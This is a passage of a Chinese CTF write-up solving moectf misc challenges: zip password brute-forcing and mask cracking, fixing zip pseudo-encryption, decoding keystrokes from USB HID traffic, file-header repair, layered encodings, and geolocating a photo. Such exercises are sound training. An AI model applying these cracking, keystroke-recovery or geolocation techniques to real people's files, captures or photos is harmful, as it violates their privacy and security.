alternative: 1bNdgG (OK)
alternative: 7gG7Wa (OK)
alternative: 8tVjqb (OK)
alternative: Ii8NS7 (OK)
alternative: SSQmrA (OK)
alternative: TJVSXj (OK)
alternative: ZEIcdd (OK)
alternative: bmHwNF (OK)
alternative: etOIdm (OK)
alternative: lbWGrH (OK)
alternative: tEejco (OK)
alternative: v4MIWz (OK)
alternative: zJzZ_a (OK)
$ python crc32.py reverse 0x08c8da10
4 bytes: {0x72, 0x63, 0x21, 0x7d}
verification checksum: 0x08c8da10 (OK)
alternative: 4GIVjo (OK)
alternative: IHcLDe (OK)
alternative: K9Kopp (OK)
alternative: KU8Bt4 (OK)
alternative: Lmal7S (OK)
alternative: NQdrnN (OK)
alternative: QoQaUB (OK)
alternative: WjX2ed (OK)
alternative: XyIoCg (OK)
alternative: YXVN12 (OK)
alternative: bmMe0X (OK)
alternative: gHOECn (OK)
alternative: j69gPl (OK)
alternative: k6xVKu (OK)
alternative: vyefDl (OK)
alternative: wXzG69 (OK)
alternative: xvzVxb (OK)
```

将得到的 16 个字节(6d6f656374667b7177715f637263217d) 转换为字符串(moectf{qwq\_crc!}) flag 就出来咯！

### zip套娃

拿到压缩包后打开压缩包发现没有压缩包密码的踪迹，那就只能用 Archpr 狠狠的爆破了（悲

Archpr 尝试 1 至 6 位数字爆破可以得到密码是 1235 ，解压后可以得到 `fl.zip` 和一个提示 `密码的前七位貌似是1234567 后三位被wuliao吃了` 。

那就通过掩码暴力破解，设置掩码为 `1234567???` 进行爆破可以得到密码 `1234567qwq` ，解压后得到 `fla.zip` 和一个一摸一样的提示，继续使用掩码破解发现无效，用 010 Editor 查看 `fla.zip` 可以发现文件数据区的全局加密为 `00` 而文件目录区的全局方式位标记却是 `01` ，说明这个 zip 文件为伪加密文件。

修复方式就是把 `01` 改成 `00` 即可。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F3Cg7bfDbaTNu9j9AKW1V%2Fzip%E5%A5%97%E5%A8%83-1.png?alt=media&amp;token=08ac8b44-ac84-476f-9ce4-c975d9051ec8" alt=""><figcaption></figcaption></figure>

解压后就可以得到 flag `moectf{!zip_qwq_ZIP}`

### usb

> <http://www.manongjc.com/detail/25-cxtkhbqgdxkwlwz.html>

将下载下来的文件丢到 kali 用 Wireshark 打开，可以看到基本都是 HID Data ，那就将 HID Data 的数据提取出来。

```bash
$ tshark -r usb.pcapng -T fields -e usbhid.data  > usbdata.txt
```

读取后通过引用中的脚本进行解码就可以得到 flag `moectf{Learned_a6ou7_USB_tr@ffic}` ，完整代码如下

```python
import re

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []

txt = open('usbdata.txt', 'r')

for line in txt:
    line = line.strip('\n')
    if len(line) == 16:
        line_list = re.findall('.{2}', line)
        line = ":".join(line_list)
        try:
            if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[
                9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[
                16] != '0' or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[
                                                                                                          6:8] == "00":
                continue
            if line[6:8] in normalKeys.keys():
                output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == '2']
            else:
                output += ['[unknown]']
        except:
            pass

txt.close()

flag = 0
print("".join(output))
for i in range(len(output)):
    try:
        a = output.index('<DEL>')
        del output[a]
        del output[a - 1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i] == "<CAP>":
            flag += 1
            output.pop(i)
            if flag == 2:
                flag = 0
        if flag != 0:
            output[i] = output[i].upper()
    except:
        pass
print('output :' + "".join(output))
# moectf{<CAP>l<CAP>earnee<DEL>d_a6ou7_<CAP>usb<CAP>_tr@ffic}
# output :moectf{Learned_a6ou7_USB_tr@ffic}
```

### Locked\_bass

题目描述 `这锁虚挂着的，能踹` 提示压缩包应该是伪加密，通过 010 Editor 打开后将两个 `09 00` 修改为 `00 00` 即可修复并解压获得 `Unlocked bass.zip` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FZQP20OO4IJd6ntNn9Wx9%2FLocked_bass-1.png?alt=media&amp;token=319e2a23-3521-4901-908b-42df30d47ff5" alt=""><figcaption></figcaption></figure>

在 `Unlocked bass.zip` 内可以发现 `Unlocked bass.txt` ，里面包含一串 base64 编码内容。

```
bW9lY3Rme04wd190aDFzX2k0X2FfYkBzc19VX2Nhbl91M2VfdG9fcGxhOX0=
```

使用 CyberChef 一把梭就可以得到 flag `moectf{N0w_th1s_i4_a_b@ss_U_can_u3e_to_pla9}`

### what\_do\_you\_recognize\_me\_by

把文件拖入 010 Editor 可以明显发现这是 PNG 格式的图片，但是文件头不对，修复文件头为 `89 50 4E 47` 后就能打开图片了。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FX9yB5mY48hia2C3wyeni%2Fwhat_do_you_recognize_me_by-1.png?alt=media&amp;token=cea24311-4b22-47d8-94bc-2d2bbaa578bd" alt=""><figcaption></figcaption></figure>

给文件补上后缀名 `.png` 后打开图片是一个二维码

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FWAMBmVOV9UZbAPOGYmTY%2Fwhat_do_you_recognize_me_by-2.png?alt=media&amp;token=672ef78c-43f9-4e62-8875-ddcbadf0c6a5" alt=""><figcaption></figcaption></figure>

使用软件扫码后可以得到 flag `moectf{You_r4c0gnize_%e!}`

### 小纸条

Hint: 全部大写，无分隔

猪圈密码

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FelTIKyGglQIZYC6Rbt7L%2F%E5%B0%8F%E7%BA%B8%E6%9D%A1-1.png?alt=media&amp;token=73086efe-1649-4527-975a-4c29f05405a4" alt=""><figcaption></figcaption></figure>

根据上图进行解码可以得到 flag `moectf{ILOVEMYBIGBED}`

### rabbit

用 010 Editor 打开图片可以在末尾发现一串 Rabbit 加密数据

```
U2FsdGVkX1+EPlLmNvaJK4Pe06nW0eLquWsUpdyv3fjXM2PcDBDKlXeKupnnWlFHewFEGmqpGyC1VdX8
```

解密后可以得到 flag `moectf{We1c0m3_t0_moectf_an7_3n7oy_y0urse1f}`

### CCCC

把文件丢到 CLion 跑一下就能得到 flag `moectf{0h_y0u_can_run_a_C_pr0gram!}` 。

### Python

把文件丢到 PyCharm 跑一下就能得到 flag `moectf{Python_YYDS!}` 。

### run\_me

用 cmd 运行就可以啦\~

```bash
D:\CTF>run_me.exe
moectf{run_me_to_get_the_flag}   
```

### run\_me2

把文件丢到 kali 在终端里输入运行即可，运行前需要注意 `右键-属性-权限-(勾选)允许此文件作为程序运行` 。

```bash
$ ./run_meB
moectf{run_m3_t0_g3t_th3_f1ag}
```

### A\_band

用 CyberChef 将二进制转十六进制，之后十六进制转字符串，发现有很多颜文字，经过百度发现是 `AAencode` 加密，解密后可以得到以下内容

```
This_is_a_small_bass_KRUGS427MJQXG427ONSWK3LTL52G6X3CMVPWI2LGMZSXEZLOORPWM4TPNVPXI2DFL5YHEZLWNFXXK427N5XGKXZXGI3EEND2GRKHQRSBMJSHI5SWIF2WM2LQMJWVCS2FMVCUIYLHOB4WOQ3YNVYE2RLDME4EMWBRNY3VIMTSKBBG2TBZOVLEE6DTJJJVOQTVGZBHEYTEKY4EQWLPIJDVQY3PGJUFKQSMKBGUKZDWPJJTSYLXK43EOWLBKA2XANDDLA3FEMSXKA4GWYY=;
```

经过 Base32 解密后得到以下内容

```
This_bass_seems_to_be_different_from_the_previous_one_726B4z4TxFAbdtvVAufipbmQKEeEDagpygCxmpMEca8FX1n7T2rPBmL9uVBxsJSWBu6BrbdV8HYoBGXco2hUBLPMEdvzS9awW6GYaP5p4cX6R2WP8kc
```

经过 Base58 解密后得到以下内容

```
The_last_step_should_be_familiar_to_you_bW9lY3Rme1doeV9zMF9tYW55XzFuc3RydW1lbnRzP30=
```

经过 Base64 解密后得到以下内容，即 flag

```
moectf{Why_s0_many_1nstruments?}
```

### bell202

下载附件得到文件 `moe_modem.wav`

百度找了半天 `misc 调制解调器解码` 没找到，通过题解才发现原来是 `minimodem` ，学到力！

```bash
$ minimodem -r -f moe_modem.wav 1200
### CARRIER 1200 @ 1200.0 Hz ###
moectf{zizi_U_he@rd_the_meanin9_beh1nd_the_s0und}
### NOCARRIER ndata=49 confidence=4.894 ampl=1.001 bps=1200.00 (rate perfect) ###
```

### 想听点啥

> MuseScore 下载 <https://musescore.org/zh-hans/download>

下载压缩包打开后可以发现一个未知的 `.mscz` 文件，经过百度后下载 `MuseScore` 安装后打开该文件在末尾可以发现 7z 压缩包密码 `MOECTFI1iKE` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F0anCpgeLZByUBGYiAkIj%2F%E6%83%B3%E5%90%AC%E7%82%B9%E5%95%A5-1.png?alt=media&amp;token=03806bf9-43d6-482a-ab94-444a9cb6eb1b" alt=""><figcaption></figcaption></figure>

解压后可以得到 `qaq.py` 和 `flag.txt` ，其中 `qaq.py` 为 flag 的加密代码。

```python
# this is not flag, but real flag will be encrypted in same algorithm.
flag = 'moectf{xxxxxxxxxxxxxxxxxxxxx}'
​
def encrypt(src: str) -> bytes:
    return bytes([ord(src[i]) ^ ord(src[i-1]) for i in range(1, len(src))])
​
with open('flag.txt', 'wb') as out:
    out.write(encrypt(flag))
```

其中 `encrypt()` 函数会将 flag 的后一位与前一位进行异或运算并输出值，因此将这一过程逆序即可。

```python
txt = open('flag.txt', 'r').read()
​
​
def decrypt(src: str) -> str:
    flag = 'm'
    for i in range(len(src)):
        flag += chr(ord(src[i]) ^ ord(flag[i]))
    return flag
​
​
print(decrypt(txt))
# moectf{Want_s0me_mor3_mus1c?}
```

### 寻找黑客的家

图上有十分明显的 `汉明宫` 以及预约电话 `xxxxx33085` ，用百度地图搜搜就出来力。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FlxO2n44DUp7427jVvakH%2F%E5%AF%BB%E6%89%BE%E9%BB%91%E5%AE%A2%E7%9A%84%E5%AE%B6-1.png?alt=media&amp;token=6e565fbb-f762-4b45-aa81-2886d4b64432" alt=""><figcaption></figcaption></figure>

flag `moectf{shenzhen_longhua_qingquan}`

### hamming

> <https://www.bilibili.com/video/BV1pV411y7E8> 09:00

* (15, 11) 汉明码：共 16 位，其中数据位有 11 位，奇偶校验位有 5 位。第 0 位为总的奇偶校验码，第 2^n 个为每个部分的奇偶校验码，通过两个奇偶校验码可以确认错误的在哪里并进行纠正，但当出现两次错误时，就无法纠正了，只能识别到存在错误。

```python
from Crypto.Util.number import long_to_bytes  # really useful!
from functools import reduce
import operator as op
​
def hamming_correct(bitblock):
    return reduce(op.xor, [i for i, bit in enumerate(bitblock) if bit])
​
def decode(msg):
    blocks = len(msg)
    bitlist = []
    # Let's cancel the noise...
    for i in range(blocks):
        wrongbitpos = hamming_correct(msg[i])
        msg[i][wrongbitpos] = int(not msg[i][wrongbitpos])
        # add corrected bits to a big list
        bitlist.extend([msg[i][3]] + msg[i][5:8] + msg[i][9:16])
    # ...then, decode it!
    totallen = len(bitlist)
    bigint = 0
    for i in range(totallen):
        bigint <<= 1
        bigint += bitlist[i]
    return long_to_bytes(bigint)
​
noisemsg = [[0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0],
            [0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1],
            [0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0],
            [1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0],
            [0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1],
            [0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0],
            [0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0],
            [0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
            [0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1],
            [0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0],
            [0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1],
            [0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1],
            [0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
            [0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1],
            [0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1],
            [0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1],
            [0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0],
            [0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
            [0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0],
            [0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0],
            [0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0],
            [0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1],
            [1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0],
            [0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1],
            [0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0],
            [0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0],
            [0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],
            [0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0],
            [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1],
            [0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0],
            [0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1],
            [0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1],
            [0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
            [0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0],
            [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1],
            [0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
            [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1],
            [0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0],
            [0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0],
            [0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0],
            [0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1],
            [0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0],
            [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0],
            [0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0],
            [0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0],
            [0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0],
            [0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1],
            [0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1],
            [0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1],
            [0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0],
            [1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1],
            [0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
            [0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1],
            [0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0],
            [0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0],
            [0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
            [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0],
            [0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0],
            [0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0],
            [0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1],
            [0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1],
            [0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1],
            [0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0],
            [0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0],
            [0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0],
            [0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0],
            [0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],
            [0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1],
            [0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0],
            [0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1],
            [0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1],
            [1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0],
            [0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1],
            [0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1],
            [0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0],
            [0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1],
            [0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0],
            [0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0],
            [0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0],
            [0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1],
            [0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1],
            [0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0],
            [0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1],
            [0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0],
            [0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0],
            [0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0],
            [1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1],
            [0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1],
            [0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0],
            [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1],
            [0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1],
            [0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1],
            [0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0],
            [0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0],
            [0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0],
            [0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1],
            [0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1],
            [0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0],
            [0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1],
            [0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1],
            [0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0],
            [0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0],
            [0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1],
            [0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1],
            [0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1],
            [0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0],
            [0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0],
            [1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1],
            [0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0],
            [0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0],
            [0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1],
            [0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1],
            [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0],
            [1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1],
            [0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0],
            [0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0],
            [0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0],
            [0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1],
            [0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1],
            [1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1],
            [0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
            [0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1],
            [1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0],
            [0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0],
            [0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0],
            [1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1],
            [1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0],
            [0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1],
            [0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1],
            [1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1],
            [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1],
            [0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0],
            [0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1],
            [0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1],
            [0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0],
            [0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0],
            [0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1],
            [0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0],
            [0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0],
            [0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0],
